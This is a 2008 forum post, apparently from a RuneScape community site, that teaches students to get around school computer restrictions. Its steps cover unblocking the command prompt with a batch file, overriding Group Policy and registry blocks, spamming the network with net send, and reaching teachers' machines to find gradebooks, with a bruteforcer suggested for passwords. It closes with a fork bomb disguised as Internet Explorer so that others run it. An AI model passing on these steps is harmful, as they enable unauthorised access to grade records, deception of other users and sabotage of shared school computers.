Ok, this is a revised repost of my first guide.
I'll be explaining how to enable blocked command prompt, and, I've added a lot mroe things you can do with it.
Enabling command prompt.
Step 1.
Open up notepad
WHAT TO DO IF NOTEPAD/START MENU IS BLOCKED:
A. click start > run > notepad.exe
B. Look on the desktop for anything you can type in, examples are Microsoft word 2003, etc. Open up that program. Now, type anything in (asdfghjk, doesn't matter) Now, save it (file>save as) to the desktop
Now, right click on the file, and click edit

Now you have notepad up!!!!!
Step 2. type this exact thing into notepad:
@echo off
command.com
Then save it under all files, and save it as cmd.bat and save it to desktop
now, you should have an icon on your desktop, called cmd
now double click the icon, and it should bring up the... taadaa! ms-dos (command prompt) window!!!!!!
[REVISION 12-8-08]
If you have access to the run dialog, let's not stop with command prompt.
Open run, type in gpedit.msc
Now, you should see the group policy editor window. this is where the shitty admins for school computers who don't know anything put all the blocks. Best thing to do here, is to search through every item, enabling disabled things, and vice versa. Rule of thumb: If it looks ueful, and it's disabled, enable it.
Say your school blocks right clicking on the desktop, open run. Type regedit
Now, on the side, find HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Policies > Explorer >
Look for the value titled NoViewContextMenu
It should be set at 1, that means no right click, Double click the value to change it to 0.
Ok, thats the part of the guide where you open it up, now your thinking, what do i do now??
There are TONS of things you can do with command prompt.
Let's first talk about (hopefully) bypassing school blocks
with command prompt open, type ping websitenamehere
EXAMPLE: ping
www.runescape.com
now, type the ip address that it gives you for the website into the address bar of your browser, and hopefully, you will bypass the block
Secondly, let's talk about freaking some of your friends out =p
REQUIRES WINDOWS XP
with command prompt open, type this,
ddeshare.exe (only with windows xp)
now that you have the computer name, type
net send computernamehere messagehere
that should bring up a message on your freinds computer, saying whatever you typed in the messagehere part. NOTE: if it says something like, unable to find the alias" then it WILL NOT WORK
EDIT:
If you want to send messages to the entire school network, type net send /domain MESSAGEHERE. **WARNING** You will want to switch compures REALLY fast after doing this, as it does show who the message came from.
Third thing to do with command prompt:
get your schools ip address (do what you wish with it, im not responsible for what you do)
how to do this:
type
ipconfig
then it will bring up your schools ip address
Fourth thing i will type: You can get into your teachers gradebook!!!!
how to do this:
you remember the ddeshare.exe command we performed earlier? Now we are going to use it again
open cmd from desktop.
type in ddeshare.exe
look for your teachers computers name (something like mhsrm123t) usually the "t" staznds for teacher.
now, this time, when you get the computer name, leave the "\\"
now, go to the desktop
right click, click new > shortcut paste the teachers computers name, then name it something, now, double click the icon (the name is whatever you named it) and bam! now all you have to do is search through the files till you find something relating to a gradebook.
EDIT:
If the file asks for a password, use a bruteforcer, google it.
[REVISION] 12-8-08
Let's ahve some real fun with the school computers...It's fork bomb time!
Open notepad, type this in
:s
START %0
GOTO :s
Save that as lol.bat (Or whatever name) and make sure to save as all file types. Now, to get people to run this...Right click lol.bat and click create a shortcut. On the newly created shortcut, right click > properties > Change Icon. Change the icon ot the internet explorer icon, delete the real internet explorer, and rename lol to Internet Explorer. I did that on like all the computers at the school library once, it was epic.
**EXPLANATION OF FILE**
Simple, it's a loop. It constantly opens command prompt after command prompt, so fast that the only way to stop it fucking your hard drive is to turn the computer off. Good to do if you really want to fuxxor the school computer your using.
This guide is stricly for use by Rsforums.org and it's users. I, nor Rsforums.org or any of the staff, take any responsibilites for the actions you take with this guide. This guide is for educational purposes only.
Sidenote:
Nate, do we still have a rep system?